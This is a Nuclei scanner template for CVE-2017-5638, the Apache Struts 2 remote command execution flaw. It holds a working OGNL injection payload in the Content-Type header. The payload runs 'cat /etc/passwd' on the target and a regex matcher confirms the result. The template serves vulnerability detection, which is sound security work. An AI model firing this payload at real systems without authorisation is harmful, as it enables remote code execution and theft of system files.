nuclei-templates/cves/2017/CVE-2017-5638.yaml

id: CVE-2017-5638

info:
  name: Apache Struts 2 - Remote Command Execution
  author: Random_Robbie
  severity: critical
  description: Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is vulnerable to remote command injection attacks through incorrectly parsing an attacker's invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
  reference:
    - https://github.com/mazen160/struts-pwn
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5638
    - https://isc.sans.edu/diary/22169
    - https://github.com/rapid7/metasploit-framework/issues/8064
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2017-5638
    cwe-id: CWE-20
  tags: apache,kev,msf,cve,cve2017,struts,rce

requests:
  - raw:
      - |+
        GET / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: %{(#tess='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#cmd="cat /etc/passwd",#cmds={"/bin/bash","-c",#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#b=#process.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#rw=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#rw.println(#e),#rw.flush())}
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Encoding: gzip, deflate
        Accept-Language: en-US,en;q=0.9
        Connection: close

    unsafe: true
    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200